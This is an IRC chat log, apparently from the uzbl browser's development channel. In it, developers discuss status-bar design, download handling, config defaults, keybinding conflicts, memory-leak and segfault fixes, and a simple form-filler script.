12:17 < rob|> that would be a mess with multiple instances. the only way i can think this would work in a sane way would be to use a mac like statusbar, i.e. one bar for all instances and you see the status of the currently active instance
12:17 < DuClare> Dieterbe, What if I want to display the progress of downloads?  Either we add code for that in uzbl, or I use a status display script which is aware of any downloads I've started (information comes from download_handler) and utilizes that
12:18 < rob|> DuClare: set status_message = foo from the download script
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12:18 < DuClare> rob|, The download script would then have to know my status format
12:19 < DuClare> One way or another
12:19 < rob|> hu? no
12:19 < DuClare> Oh, message
12:19 < DuClare> No, it doesn't work
12:19 < DuClare> One message isn't enough, it gets used for other things as well
12:19 < DuClare> Though that could be scripted, sure
12:20 < rob|> well, scipts should do "get status_message" modify only their stuff and pass the other things along
12:20 < DuClare> The status_message is printed to stdout of uzbl :p
12:21 < DuClare> And still I would have to write my own status formatter (for the message) anyway
12:21 < rob|> yes, the get things needs some work
12:21 < DuClare> So why is a part of the sb formatted by uzbl while other things by scripts?  I'd move it all to scripts. :/
12:22 < DuClare> If I don't want to put every custom "message" next to each other, I'd have to format the rest via scripts too, setting status_format
12:23 < _19LIONZ> You guys seem to forget about internationalization & multi-language support sometimes
12:23 < DuClare> I've had it in my mind
12:23 < _19LIONZ> Some languages need pango & nothing else would work
12:24 < DuClare> That's a sad shortcoming of the external status bars
12:24 < _19LIONZ> That was a part why I liked uzbl & why I liked the gtk thingy Dieterbe was working on
12:25 < DuClare> Moving on, if I want to save pixels by using some small, nice icons for status display, I'm at loss.. either code it in uzbl .. code support for external status bars
12:26 < DuClare> _19LIONZ, If I wanted a status display that plays well with multiple languages, I'd code a new (external) status bar, not one integrated in the browser
12:27 < rob|> DuClare: well, i'd propose the following: let us work on get and the socket thing, when that works there is no need for any other code in order to drive whichever external statusbar
12:27 < _19LIONZ> DuClare: sure . I was just showing some frustration that you might here from potential users in the future
12:27 < rob|> meanwhile i'd stick with the builtin one
12:28 < _19LIONZ> DuClare: the same problem is present with using dmenu
12:28 < rob|> actually, get works perfectly
12:28 < rob|> we just need  to integrate it with socket stuff
12:29 < rob|> we could even allow the user to set triggers on certain event which would just output a value via the socket when that specific bit has changed
12:29 < rob|> -> no polling
12:31 < DuClare> _19LIONZ, Yep, I'm aware of that
12:32 < DuClare> rob|, How does that work with multiple instances?  One script chatting with bunches of sockets?
12:32 < DuClare> Also, what's wrong with handlers? :x
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12:37 < rob|> well, there is nothing wrong with handlers. though it means one handler per instance, no way around that
12:37 < rob|> with a polling/event based method you could do it with one handler/script per as many instances you like
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12:39 < captainfreedom> hi everyone
12:41 < captainfreedom> I discover uzbl today and I use it instead of firefox how can I play flash video in uzbl?
12:41 < rob|> anyways, i actually don't insists on anything. code away and if it works in a way we all can agree on i won't be a blocker, that's for sure :)
12:41 < Dieterbe> captainfreedom: flash should work by default
12:42 < rob|> captainfreedom: if flash works in ff it should also work in uzbl
12:42 < rob|> captainfreedom: both use the same plugin api
12:42 < captainfreedom> ok
12:42 < captainfreedom> thanks
12:42 < Phillemann> In QtWebKit you have to enable Flash before you can use it. But that might be an idiosyncrasy.
12:43 < _19LIONZ> Phillemann: you mean in the sample browser ?
12:43 < Phillemann> _19LIONZ: I mean if you use the library. :>
12:44 < captainfreedom> It works :)
12:44 < _19LIONZ> Phillemann: I see
12:45 < _19LIONZ> Phillemann: Specifically Flash or the whole plugin API ?
12:45 < Phillemann> _19LIONZ: The whole plugin API. There's a flag "plugins enabled" you have to turn on first.
12:45 < _19LIONZ> Phillemann: I thought so
12:46 < Phillemann> It's not unwise to disable it by default, I think.
12:47 < _19LIONZ> Phillemann: It's not unwise to give the user the choice when you use the library in your app :)
12:48 < Phillemann> Sure you should give the user the choice, but if you're just testing the library you might run into problems regarding the plugins, not the library itself. ;)
12:49 < rob|> so, what is the status of dieter's experimental? still broken or safe to merge?
12:51 < DuClare> Broken
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12:51 < DuClare> rob|, See my suspicions about thread problems I discussed earlier with diet
12:52 < DuClare> I have to go, →
12:52 < rob|> hmm, ok. other than that it is segfault free, right?
12:53 < rob|> ok, cu later
12:53 < DuClare> I haven't been able to test 'cause the threads cause segfaults
13:02 < Dieterbe> rob|: still broken, but less broken then it was :P we now just have the known bugs/segfaults with the config file/stdin stuff
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14:06 < Phillemann> What is uzbls solution to file downloads? Should a terminal pop up with wget in it?
14:06 < M2tias> should there be a pop up? :o
14:07 < Dieterbe> the solution is that it exposes an event which you can attach to in the config
14:07 < Dieterbe> and you can call a script, for instance
14:07 < Phillemann> Yes, but what should that script do?
14:07 < Dieterbe> whatever you want it to do
14:08 < Phillemann> Okay...what do _you_ personally have the script do? :D
14:08 < Dieterbe> the same as what the example script does (eg just call wget)
14:08 < Phillemann> Okay.
14:10 < Dieterbe> rob|: are you working on anything specific? now that everything is merged in i would like to do the splitup
14:41 < Dieterbe> okay i get started then
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15:02 < Masca> Dieterbe: something in mind
15:02 < Masca> ?
15:08 < Dieterbe> yea
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15:11 < Masca> I have been thinking and I guess the split could be commans/(maybe here the config), sockets, main window handling.
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15:34 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git diff --cached | grep '\(^+[^ /].*(.*)\|+++\)'
15:34 < Dieterbe> +++ b/command-interface-external.c
15:34 < Dieterbe> +free_action(gpointer act) {
15:34 < Dieterbe> +new_action(const gchar *name, const gchar *param) {
15:34 < Dieterbe> +parse_command(const char *cmd, const char *param) {
15:34 < Dieterbe> +setup_regex() {
15:34 < Dieterbe> +runcmd(WebKitWebView* page, GArray *argv) {
15:34 < Dieterbe> +parse_cmd_line(const char *ctl_line) {
15:34 < Dieterbe> +build_stream_name(int type, const gchar* dir) {
15:34 < Dieterbe> +control_fifo(GIOChannel *gio, GIOCondition condition) {
15:34 < Dieterbe> +init_fifo(gchar *dir) { /* return dir or, on error, free dir and return NULL */
15:34 < Dieterbe> +control_stdin(GIOChannel *gio, GIOCondition condition) {
15:34 < Dieterbe> +create_stdin () {
15:34 < Dieterbe> +control_socket(GIOChannel *chan) {
15:34 < Dieterbe> +init_socket(gchar *dir) { /* return dir or, on error, free dir and return NULL */
15:34 < Dieterbe> +find_xdg_file (int xdg_type, char* filename) {
15:34 < Dieterbe> +++ b/command-interface-internal.c
15:34 < Dieterbe> +key_press_cb (GtkWidget* window, GdkEventKey* event)
15:34 < Dieterbe> +++ b/util.c
15:34 < Dieterbe> +itos(int val) {
15:34 < Dieterbe> +argv_idx(const GArray *a, const guint idx) { return g_array_index(a, gchar*, idx); }
15:34 < Dieterbe> +sharg_append(GArray *a, const gchar *str) {
15:34 < Dieterbe> +str_replace (const char* search, const char* replace, const char* string) {
15:34 < Dieterbe> +read_file_by_line (gchar *path) {
15:34 < Dieterbe> +gchar* parseenv (const char* string) {
15:34 < Dieterbe> +setup_signal(int signr, sigfunc *shandler) {
15:34 < Dieterbe> +file_exists (const char * filename) {
15:34 < Dieterbe> +expand_template(const char *template) {
15:35 < Dieterbe> +split_quoted(const gchar* src, const gboolean unquote) {
15:35 < Dieterbe> WIP
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15:59 < barrucadu> Hi
16:00 < Dieterbe> hey
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16:22 < DuClare> Phillemann, I'm happy with wget as its output will be shown on stdout.  But I'm likely to write some sort of a download manager as soon as I've coded support for external status bars
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17:25 < rob|> re
17:25 < DuClare> o/
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17:32 < DuClare> Sigh, what's up with these people who insist freenode staff should be the ones to remember their passwords..
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17:40 < rob|> merged diet's experimental, everything seems to work quite well :)
18:04 < DuClare> rob|, Did you try piping sampleconfig-dev via stdin?
18:04 < rob|> yes
18:05 < rob|> works, with and without a default config
18:06 < rob|> i.e. overwriting the values set by a default config
18:11 < rob|> btw, http://www.azarask.in/blog/post/design-review-ep-2/
18:13 < DuClare> Why only left audio channel
18:23 < DuClare> Effin flash stealing my focus
18:32 < DuClare> Dieterbe, How did the (thread related?) segfaults caused by the calls in update_title get fixed?
18:38 < jouz> rob|: thank you, that vid was very intresting!
18:45 < jouz> javascript mousegestures anyone? :D
18:49 < DuClare> I'd like to ask them what's wrong with the good old keyboard..
18:54 < jouz> DuClare: nobody stops  you (and me) from using the keyboard. But i must say, mousegestures (or other gesture-features) are pretty impressive. I would be happy if they replace ugly and unuseful chromes that steal my viewport's place...
18:56 < DuClare> jouz, Of course.  But why do they insist on creating something new, cool and amazing when there's the keyboard which is really easy and accessible..  It's like they're trying to avoid the keyboard, always concentrating on the mouse :<
18:56  * DuClare goes to bed. →
18:58 < jouz> DuClare: not just the mouse, any gesture - look at the iphone. At least when it comes to some mobile devices, i would appreciate an UI with less keys and buttons...
19:33 < Dieterbe> meh
19:33 < Dieterbe> i tried the splitup earlier today but it's harder then i anticipated :/
19:34 < Dieterbe> DuClare: the thread segfault stuff is still in the same state
19:48 < DuClare> Dieterbe, I'm not getting it anymore :|
19:48 < Dieterbe> heh
19:48 < Dieterbe> hooray. god has contributed to uzbl
19:49 < barrucadu> Strange, I don't see His fork on github :p
19:51 < Dieterbe> :P
19:52 < Dieterbe> man i have to say this honestly , i attempted the splitup but it's more work then i thought and i really don't look forward to doing it :(
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19:58 < DuClare> So let's not do it
19:59 < Dieterbe> yeah i think i will play this really "foss style", if anyone cares enough, he will (have to) contribute it himself
19:59 < duwanis> for the curious (me): what is "the splitup?"
20:00 < DuClare> duwanis, One sourcefile to multiple smaller ones
20:01 < duwanis> Ah, ok.
20:01 < duwanis> thanks DuClare.
20:03 < Dieterbe> Deleted branch splitup (was e2bd46b).
20:03 < Dieterbe> :)
20:08 < rob|> hmm, dieter. what's so hard about it?
20:10 < Dieterbe> all the copy paste work, the figuring out what belongs where, and most importantly: making it all work :/
20:12 < rob|> well, sure it does involve some work - like all other bits we added to uzbl
20:17 < Dieterbe> well, and i suck too hard at it. unlike the other things where i feel at least not totally useless 
20:21 < rob|> hmm, well. i'll look into it, not sure wether i'll have the time to do it today, though
20:28 < Dieterbe> PS: i found http://www.gamedev.net/reference/programming/features/orgfiles/ to be quite interesting
20:29 < Dieterbe> rob|: most problems i had were actually the fact that global variables are accessed all over the places, and structs need to be defined everywhere etc.
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20:36 < Masca> Dieterbe: maybe that could be avoided if we use pointers to structs.
20:45 < DuClare> I'd like to write support for external statusbars and finish the handlers.  But I'd rather not work before we're in sync code-wise.. now where did the segfaults suddenly go?
20:48 < DuClare> Meh.  It works.  Maybe I'll find them again when I least expect it.
20:48 < Masca> I guess most stuff is in Diet's experimental.
20:49 < Dieterbe> but, my tree did not change :P
20:49 < DuClare> Yes, I know.. <,<
20:50 < Masca> I wasn't very sure.. jeje.
21:11 < DuClare> Dieterbe, Nothing new really, and most points don't really concern us
21:15 < Dieterbe> DuClare: huh? what?
21:16 < Dieterbe> what are you talking about DuClare ?
21:18 < Dieterbe> ps: i justed pushed some default settings stuff. gonna watch tv now
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21:19 < github> uzbl: Dieter Plaetinck experimental SHA1-73dfcb6
21:19 < github> support for some default settings so that uzbl is more uzbl by default (without config file)
21:19 < github> http://bit.ly/72d4i
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21:20 < DuClare> I was referring to the article on gamedev.net
21:26 < barrucadu> Dieterbe: The way you've implemented the default config stops some bindings from working, eg "bind kk = exit" in my ~/.config/uzbl/config
21:26 < barrucadu> As it conflicts with the in-built binding of 'k'
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21:47 < barrucadu> Fix: http://github.com/Barrucadu/uzbl/commit/887cfbc9ad2183dc06232822324d8b71cf738ed8 (and yes, I did test it properly this time :p)
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22:03 < DuClare> I hope there's a cli option for disabling the loading of defaults? :x
22:03 < barrucadu> Not yet
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22:11 < barrucadu> If anyone's interested I wrote a script to help test uzbl: http://github.com/Barrucadu/home/blob/fbbc8e24b47bbd99e02a5be362933276ddbe695e/bin/uzbltest
22:15 < duwanis> barrucadu: forgive my noobishness when it comes to developing in C, but... why not add that as a separate target in the make file? "make test-all," for example
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22:17 < barrucadu> duwanis: I didn't want to edit the makefile for possibly something only I would find useful
22:18 < duwanis> that's fair, but it seems to me that a task to simplify the testing process would be universally considered A Good Thing (TM)
22:18 < duwanis> but as you like, I was just curious.
22:39  * barrucadu plays flash arcade games...
22:40 < DuClare> A config for comfortable left-hand control with dvorak. http://hikari.serveftp.org/left.conf
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23:29 < Dieterbe> DuClare: no need to "disable" loading defaults, you can just override them.. (the sample configs do this already btw)
23:29 < Dieterbe> bedtime for me. see ya later
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00:55 < mihairu> hi guys...i wanna say, that uzbl is the best browser ever :)
01:00 < rob|> ;)
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06:24 < Dieterbe> mornings
06:30 < sscj_> how do you bind commands to space?
06:37 < Dieterbe> hmm.. didn't try that yet
06:37 < Dieterbe> probably doesn't work
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09:38 < Dieterbe> morning uzblrz
09:56 < M2tias> morning
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10:16 < DuClare> Morning o/
10:17 < DuClare> Dieterbe, 22'26'16 < barrucadu> Dieterbe: The way you've implemented the default config stops some bindings from working,  eg "bind kk = exit" in my ~/.config/uzbl/config
10:18 < Dieterbe> yeah i saw that
10:18 < DuClare> If I have to disable the defaults by unbinding them by binding them to nothing, that's counterproductive
10:18 < Dieterbe> that's true
10:18 < Dieterbe> maybe we could make all the default binds so that you always need to confirm with enter
10:19 < DuClare> That doesn't fix it though
10:19 < DuClare> If you have a default like k_ and somebody wants to bind kk_, he'd first have to unbind the default
10:21 < Dieterbe> you sure about that?
10:21 < Dieterbe> oh , yeah now i see
10:22 < Dieterbe> that seems more like a bug in our cmdline parsing thing though. it should be possible to define both k_ and kk_ .  uzbl should just search for the most fitting match
10:23 < DuClare> Well, what *is* most fitting?
10:23 < Dieterbe> the longest match. eg in this case kk_
10:23 < Dieterbe> the longest non-wildcard match, i mean
10:25 < Dieterbe> so if we fix that bug, and we make all default keys end on '_' i think we're good. if you have both 'k' and 'k_' bound, then i think it's okay to trigger the 'k' one without the enter
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10:32 < rob|> morning
10:32 < DuClare> Hi rob|
10:34 < Dieterbe> heya rob| 
10:39 < Dieterbe> hmm i was thinking: why don't we make it "discouraged" to set the uri through the config file? exactly because of the reason you can get race conditions with the --uri parameter
10:39 < Dieterbe> is this really something we, application developers should prevent?
10:45 < DuClare> No, we shouldn't prevent it
10:46 < DuClare> Though it shouldn't be too much trouble to add a variable "default_uri", which will be used only if -u was not used
10:50 < Dieterbe> actually someone already made a patch for that (see network graph)
10:51 < Dieterbe> though i was hesitant about merging it, i don't like to introduce another variable that is almost the same as uri
10:52 < DuClare> Technically it's not neccessary.. why not let people use a wrapper script if they insist on having a default uri :(
10:54 < DuClare> Added default_monospace_size
10:55 < DuClare> It defaults to default_font_size if unset
10:55 < Dieterbe> and it's use is?
10:56 < DuClare> Uhm, the default fonts are huge, and default-font-size doesn't set default-monospace-font-size in webkit so
10:56 < Dieterbe> i see
10:57 < Dieterbe> never had a problem with font sizes @ here, even without the vars you introduced
10:58 < DuClare> They're gigantic by default <,<
10:58 < Dieterbe> you sure it's not a problem with your setup?
10:59 < DuClare> Well, they're fine in other applications
10:59 < DuClare> Applications other than browsers, with which I've always had to change the sizes manually
11:01 < Dieterbe> but it is quite odd you are the only person who had problems with it
11:01 < Dieterbe> never had any complaints from anyone, uzbl.org has always been the default page and you had the problem also on that page, so ..
11:01 < DuClare> That thing was a separate issue
11:04 < DuClare> I'm talking about this: http://hikari.serveftp.org/shots/0002.png vs http://hikari.serveftp.org/shots/0003.png
11:11 < rob|> i asked this once, what do you think about bringing more structure into the variable names? i mean we can set quite a couple of porperties, though the names are not very logical/structured
11:13 < Dieterbe> feel free
11:13 < DuClare> rob|, I don't really see the benefit as I find the names just fine and logical enough .. but I'm not against it either, so do it if you like.  Just don't make them all really long :x
11:14 < rob|> exactly that is my intention, short but structured
11:14 < DuClare> Cool
11:14 < DuClare> Dieterbe, I'm going to add disable_plugins as well
11:14 < Dieterbe> hmh?
11:14 < Dieterbe> and the purpose is what?
11:15 < DuClare> Get rid of stupid plugins.  Privoxy is overkill if you just want to suppress them all for good, and webkit already provides a setting for this.
11:16 < rob|> btw, the variables are documented at all in the docs
11:16 < Dieterbe> is there no more granular control?
11:16 < rob|> *aren't
11:16 < Dieterbe> rob|: the idea is to document them all in the sample configs, and in the readme we just say "look at the example configs"
11:17 < Dieterbe> DuClare: like selectively en/dis abling certain plugins? (pdf viewing, video viewing, swf content,...)
11:17 < DuClare> I'm not aware of such
11:18 < Dieterbe> it would be much nicer
11:27 < rob|> anyways uzbl feels much more responsive lately, i'm running it on a 1.2GHz machine with only 256MB of ram
11:33 < rob|> not sure wether we can do a lot to reduce the memory footprint, though
11:39 < Dieterbe> what browser did you use before uzbl?
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11:39 < rob|> ff
11:40 < rob|> i even had windows on this machine for a while, brwosing was nearly impossible with it, though
11:41 < rob|> it was uber-slow
11:41 < Dieterbe> :)
11:42 < Dieterbe> i've been a long time FF user myself (actually i still use it as long as uzbl is not "done" yet), i gave midori a try, it looks quite nice but also lacks the control i seek
11:42 < Dieterbe> but for your slow system it would also be a good choice i think
11:43 < rob|> Dieterbe: what are you missing from uzbl that ff has? cause you say "not done yet"
11:44 < rob|> might be interesting to investigate a bit into that area
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11:45 < Dieterbe> cookies, remembering post fields (eg password management) and multiple instance management
11:46 < rob|> yeah, we should support the remembering thing - it's pretty useful
11:50 < Dieterbe> all 3 are things we should support
11:55 < rob|> right
11:57 < Dieterbe> i really don't understand how some of you guys are using uzbl already "for real" without these 3 things
12:00 < rob|> the the two latter ones are not that critical to me, and with dwm/xmonad multiple instances are pretty usable already
12:00 < rob|> s/latter/former/
12:01 < Dieterbe> well, i visit plenty of sites where i want to be logged in (forums, social network sites etc), so i'm helpless without cookies/password management
12:02 < sscj_> doesn't webkit have support for gnome keychain?
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12:06 < rob|> sscj_: probably it doesn't. also pulling in one more gnome dependency for that seems unwise
12:07 < Dieterbe> yeah i prefer something a bit more generic
12:08 < sscj_> sure, but just thinking it would be possible to use it until it's been fixed
12:08 < rob|> i had a quick look into google chrome code and the autofill stuff doesn't look very straightforward
12:12 < rob|> does midori provide autofill?
12:33 < DuClare> Meh, I still get segfaults when reloading config
12:33 < DuClare> Occasionally
12:35 < rob|> hmm, odd
12:35 < rob|> can you track that down to a specific variable?
12:36 < DuClare> Last two segfaults came via move_statusbar
12:38 < DuClare> Now from what I think is a thread..
12:38 < rob|> hmm
12:39 < rob|> glib docu states that all operations in a GMainLoop are supposed to be thread safe by default, though
12:40 < DuClare> What exactly are "all operations in a GMainLoop"
12:42 < DuClare> http://hikari.serveftp.org/segfault.txt
12:42 < Phillemann> What's autofill?
12:44 < DuClare> Fill in forms
12:44 < Phillemann> Ah.
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12:56 < DuClare> Who broke search?
12:59 < DuClare> search_text frees and sets uzbl.state.searchtx to NULL
13:00 < DuClare> Hmm
13:04 < sscj_> http://pastie.org/486291
13:04 < sscj_> this is a rudimentary form filler
13:04 < sscj_> should add some form of encryption to it
13:05 < rob|> oh, nice
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13:08 < rob|> sscj_: how do you trigger the script, load_finish_handler?
13:08 < sscj_> I do "bind :login = spawn formfiller.sh
13:08 < rob|> ah, ok
13:12 < DuClare> Hmm.
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13:16 < DuClare> Do we actually need searchold -_-;
13:17 < rob|> hmm, no idea - i think barrucadu made some changes there?!
13:18 < DuClare> Yeah, I guess
13:18  * DuClare is fixing
13:18 < rob|> hehe
13:19 < rob|> brr. i'd like to do the split up - though, i'm rather unmotivated right now :(
13:21 < rob|> Dieterbe: what a bout a "scripts" section on the website so we don't have to ship every example with the sources?
13:22 < rob|> maybe even some wiki/wiki-like thing?
13:27 < DuClare>  2 files changed, 9 insertions(+), 18 deletions(-)
13:30 < rob|> merging..
13:30 < rob|> strip uzbl; cp uzbl ~/bin
13:30 < rob|> oh
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13:32 < DuClare> rob|, Btw, did you check my bt?  I'm quite sure that's a thread problem.  It's called form the gtk main loop.. :x
13:32 < rob|> yes, you might be right
13:33 < DuClare> Meh, guess I'll have to look into locking.
13:34 < rob|> threads suck, a pitty glib makes so massive use of them. other than that it's a quite nice lib
13:35 < rob|> The two notable exceptions from this rule are GMainLoop and GAsyncQueue, which are threadsafe and needs no further application-level locking to be accessed from multiple threads.
13:35 < rob|> hmm
13:35 < rob|> not sure what this means _exactly_
13:36 < rob|> probably they mean just the GMainLoop structure and not data that's being created/accessed in the main loop?!
13:39 < rob|> To help debugging problems in multithreaded applications, GLib supports error-checking mutexes that will give you helpful error messages on common problems. To use error-checking mutexes, define the symbol G_ERRORCHECK_MUTEXES when compiling the application.
13:39 < DuClare> Yeah.  There's no way they could ensure that the actual functions the user calls via mainloop are thread safe..
13:44 < Dieterbe> DuClare> Who broke search? <-- recently salinav (or something like that) changed the variable to be on the heap, and barrucadu changed the logic to keep a searchold and only do the search again if the string changed
13:44 < Dieterbe> 13:04:13 < sscj_> http://pastie.org/486291
13:44 < Dieterbe> 13:04:19 < sscj_> this is a rudimentary form filler
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13:45 < Dieterbe> cool, this could become something
13:46 < Dieterbe> rob|> brr. i'd like to do the split up - though, i'm rather unmotivated right now :( <-- your call. it's a free world :)
13:46 < DuClare> Well, I fixed search and got rid of searchold
13:47 < Dieterbe> DuClare: the reason that was implemented was heavy cpu usage. eg on a page with lot's of text, if 'n' is your 'search next' bind, just hold the n key and check cpu usage. we could easily get it to 100%
13:47 < DuClare> Hmm.  Should finish the critical parts of my session manager before doing anything else.  I'm getting tired of manually cleaning dead fifos :]
13:47 < DuClare> Dieterbe, You don't need another variable to do that
13:48 < Dieterbe> DuClare: okay then
13:48 < Dieterbe> btw dead fifo's? how come?
13:48 < DuClare> Segfaults.
13:48 < Dieterbe> oh yea
13:50 < sscj_> why aren't cookies working?
13:50 < DuClare> Nobody has finished the code, I guess
13:53 < Dieterbe> that is correct
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13:59 < DuClare> Wat.
13:59 < DuClare> VAR: fifo_dir VALUE: MANPATH
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14:04 < Dieterbe> hmm
14:04 < Dieterbe> that looks a bit weird, doesn't it
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14:08 < DuClare> Mehe, we've got bunches of bugs like that
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14:10 < DuClare> rob|, What's up with the `if(..var..) free var' in cmd_*?  Shouldn't set_var_value free them?
14:11 < DuClare> Oh, hm
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14:12 < DuClare> Nvm
14:16 < rob|> http://rafb.net/p/bq9TvI36.html - cat get_vars > fifo
14:16 < rob|> at least fifo_dir seems to have issues
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14:16 < DuClare> Yup, I know why
14:17 < Dieterbe> please elaborate :)
14:17 < DuClare> I'd rather just fix it :
14:17 < DuClare> :]
14:18 < Dieterbe> well, pushing the fix to github so i can see the diff also counts as elaboration :)
14:18 < M2tias> :D
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14:37 < DuClare> Dieterbe, Enjoy the novel.  http://github.com/DuClare/uzbl/commit/8090492daa8f7206c6c3d156c43a21fa4b0106b1
14:39 < Dieterbe> huh.. what the hell
14:39 < Dieterbe> no wonder we have so many lines of code
14:41 < rson> nice..
14:42 < DuClare> Actually, hmm
14:42 < DuClare> Basically, I just reverted something rob| had done when fixing leaks... but I didn't see any new leaks caused by my commit
14:42 < DuClare> http://github.com/robm/uzbl/commit/d91b739ef7d5635468c646d6d4f41b30da178edf
14:43 < DuClare> o_O
14:43 < Dieterbe> what's up?
14:44 < DuClare> I'm still wondering what leaks rob| got that I can't see
14:45 < DuClare> Dieterbe, See rob's memleak commit.  It removes free(dir) from init_fifo and adds the buf in set_var_value.  What I just did does exactly the opposite :x
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14:51 < DuClare> Uhm, what..
14:51 < DuClare> 179:     //g_strfreev(buf); - segfaults.
14:53 < Dieterbe> "fix" by B
14:53 < rob|> hrmm
14:54 < DuClare> 225:        //g_strfreev (env); //- This still breaks uzbl, but shouldn't. The mystery thickens...
14:54 < DuClare> Surely doesn't break anything here
14:54 < DuClare> Does he have a broken cpu or ram.. :x
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14:56 < Dieterbe> hey sscj, are you interested in expanding on your auto form filling stuff?
14:57 < sscj> sure
14:57 < sscj> expand on what?
14:58 < Dieterbe> well, assuming the "insert values for any arbitrary page into one or more arbitrary fields" works already, how about an easy way to add configuration settings?
14:59 < Dieterbe> we need some way that a user can say, here in *this* field (the field that gets focus either through clicking or jumping to it with keyboard) store *that* value
14:59 < Dieterbe> not sure yet how we should implement that
15:01 < DuClare> That reminds
15:02 < DuClare> We need to look into js<->browser interaction.  Is there a safe way to do it?
15:02 < Dieterbe> hmm or maybe we could even catch the POST headers and add them in next requests
15:02 < DuClare> I want to be able to yank using the hint script
15:02 < Dieterbe> DuClare: i'm afraid it's not possible.  there is a very dirty hack: updating the page title in JS, catching the title changed event in C, but afaik there's no other way
15:04 < DuClare> Debug console?
15:04 < DuClare> It's ugly too..
15:04 < DuClare> And just as unsafe
15:08 < rob|> [...] When you  want to do the same thing from Cocoa via WebKit, the JavaScript  interface for most objects has been "duplicated" in Objective-C!   (That's what all the *.idl files are used for during the build--to  generate the JavaScript interface as well as an Obj-C interface.) [...]
15:08 < rob|> hmm..
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15:46 < sscj> Dieterbe: http://pastie.org/486381
15:46 < sscj> it downloads the page with curl, strips out everything but the input forms
15:48 < Dieterbe> hmm
15:48 < Dieterbe> $editor $keydir/$domain
15:48 < Dieterbe> don't you need a shell for that?
15:48 < Dieterbe> oh, now i see 
15:48 < Dieterbe> editor=gvim
15:48 < Dieterbe> i guess people could put editor="sh -c 'vim'" or something
15:49 < Dieterbe> err and urxvt -e or so
15:50 < Dieterbe> i like this
15:50 < Dieterbe> sscj: i suggest you fork me on github and push it to your clone, i'll merge in your stuff when i'm home
15:53 < Dieterbe> sscj: btw, there can be different login forms on the same domain. eg: site.com (main login), site.com/forums (which could be a separate forum) etc
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15:54 < sscj> could probably be done with "bind :login _ = spawn formfiller.sh %s"
15:54 < sscj> oh wait
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15:55 < DuClare> Dieterbe, I fixed a leak and uncommented these "fixes".. http://github.com/DuClare/uzbl/commit/23df8d489f1d4bd1a78592d5c05dec4c8303f5b7
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15:58 < Dieterbe> before i merge this in, this should be discussed . i assume barrucadu will be here soon
15:58 < Dieterbe> i'm not gonna keep merging in alternate versions where one person comments it out and the other adds it again
16:00 < rob|> afaics duclare's fix is clearly the right thing to do
16:02 < rob|> i suppose the code was broken in other places and bar made the wrong assumptions upon the cause of the segfaults
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16:10 < barrucadu> hi
16:10 < rob|> ah, here he is. hey barrucadu
16:10 < barrucadu> <.>
16:10 < rson> speak of the devil
16:11 < barrucadu> I am told I often show up when being talked about :p
16:11 < rob|> hehe
16:12 < DuClare> barrucadu, http://github.com/DuClare/uzbl/commit/23df8d489f1d4bd1a78592d5c05dec4c8303f5b7
16:12 < barrucadu> I just looked at that commit :)
16:12 < sscj> Dieterbe: http://github.com/scj/uzbl
16:12 < barrucadu> I commented those lines out because I was getting memory corruption with them there
16:12 < barrucadu> I think I uncommented them last night and found it worked now
16:13 < barrucadu> http://github.com/Barrucadu/uzbl/commit/2a4b88e40a89b068ad63869105717597330980f5
16:13 < rson> hey Dieterbe just an fyi, a patch was sent to the dwm mailing list a few days ago for dmenu4 for xft support, i don't know if you'd be interested in that or not
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16:14 < DuClare> barrucadu, I did more than that, though.  Your parseenv leaks if it replaces multiple evars
16:15 < rob|> barrucadu: you should generally be more cautios with such things
16:16 < barrucadu> ok
16:16 < rob|> it's rather annoying having to fix leaks every other day ;)
16:16 < barrucadu> Don't worry, my new uzbl-testing script has a call to valgrind in it ;)
16:17 < rson> barrucadu: dream -- what the fuck were you smoking last night?
16:17 < barrucadu> I have no idea
16:18 < DuClare> Test a script won't save you if it doesn't test for the things that break ;)  I caught the leak related to multiple evars by reading the code..
16:18 < DuClare> Test a script?  My language is getting worse day by day.
16:18 < rob|> and wtf didn't you pass that stuff on :p
16:18 < barrucadu> DuClare: It's ok, I'm dreaming about Arch-themed bakeries now :p
16:18 < rson> with jelly-cakes
16:18 < barrucadu> indeed
16:19 < barrucadu> Strawberry jelly. I didn't notice any other flavours
16:19 < barrucadu> I blame nethack. I installed and played it for the first time last night, and then that dream happens. It must be connected :p
16:21 < DuClare> rob|, Do you actually need to set vars to "" rather than NULL?
16:21 < DuClare> You're doing that quite a lot :x
16:22 < rob|> well, i just wanted to be clear about what's going on
16:22 < rob|> i.e. the var is being freed in another place
16:23 < DuClare> You do it elsewhere as well, cmd_useragent for example.  And you free it right there.
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16:27 < rob|> oh
16:28 < rob|> hmm, well
16:30 < DuClare> It's just that I don't like it when some vars are NULL whereas some are set to "" when being cleared :>  I'd set all to NULL or all to "", and setting all to NULL looks like less code in the long run
16:32 < rob|> ok agreed.
16:33 < rob|> need to run, bbl.
16:35 < Dieterbe> rob|: i don't know.. dmenu's strings look fine to me. i don't see why xft would make anything better
16:35 < Dieterbe> rson: ^^ sorry rob| , bogus hilight
16:36  * Dieterbe driving home. see you soon
16:37 < rson> Dieterbe: eh, i use dwm patched with xft and using dmenu without xft makes the two look like shit together, just figured i'd let you know since no one has updated that patch since 3.4 or something like that
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16:53 < sscj> I keep getting error #6411 with gmail
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18:01 < sscj> is there a way to load javascript code at startup?
18:27 < rob|> not yet, the whole handler interface needs a better design
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18:59 < sscj> the uzbl.org/readme.php claims that there's both a 'js' and 'script' action
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19:09 < DuClare> sscj, That's correct
19:10 < DuClare> 19'01'33 < sscj> is there a way to load javascript code at startup?
19:10 < DuClare> 19'27'08 < rob|> not yet, the whole handler interface needs a better design
19:10 < DuClare> Why not?
19:10 < DuClare> Umm, well, what do you mean by "loading javascript code at startup"?  What would it do if there's no page?
19:10 < rob|> well, you certainly could with a wrapper
19:10 < DuClare> Nothing prevents you from adding "act script foo"
19:11 < DuClare> To the end of the config
19:11 < rob|> <-- is being stupid..
19:12 < DuClare> sscj, js is used for oneliners (i.e. the body of the script is in the config) whereas script is used for loading the script from a file
19:13 < sscj> DuClare: js doesn't work and script works as you describe js
19:14 < DuClare> sscj, Ah, the documentation is for a later version
19:15 < DuClare> Namely the head of the experimental branch.. :)
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19:18 < sscj> also, "act script foo" would force the script to be formatted as a one-liner
19:18 < sscj> of course, it would be possible to add a loader script
19:19 < DuClare> So add a loader script or run a later version. :)
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19:39 < Dieterbe> rson: would it be much work to make a screenie? i suck at seeing the difference between fonts and things like that, maybe a screenie can make it clear
19:55 < rson> i can when i get home, although it's really not that noticable i suppose.
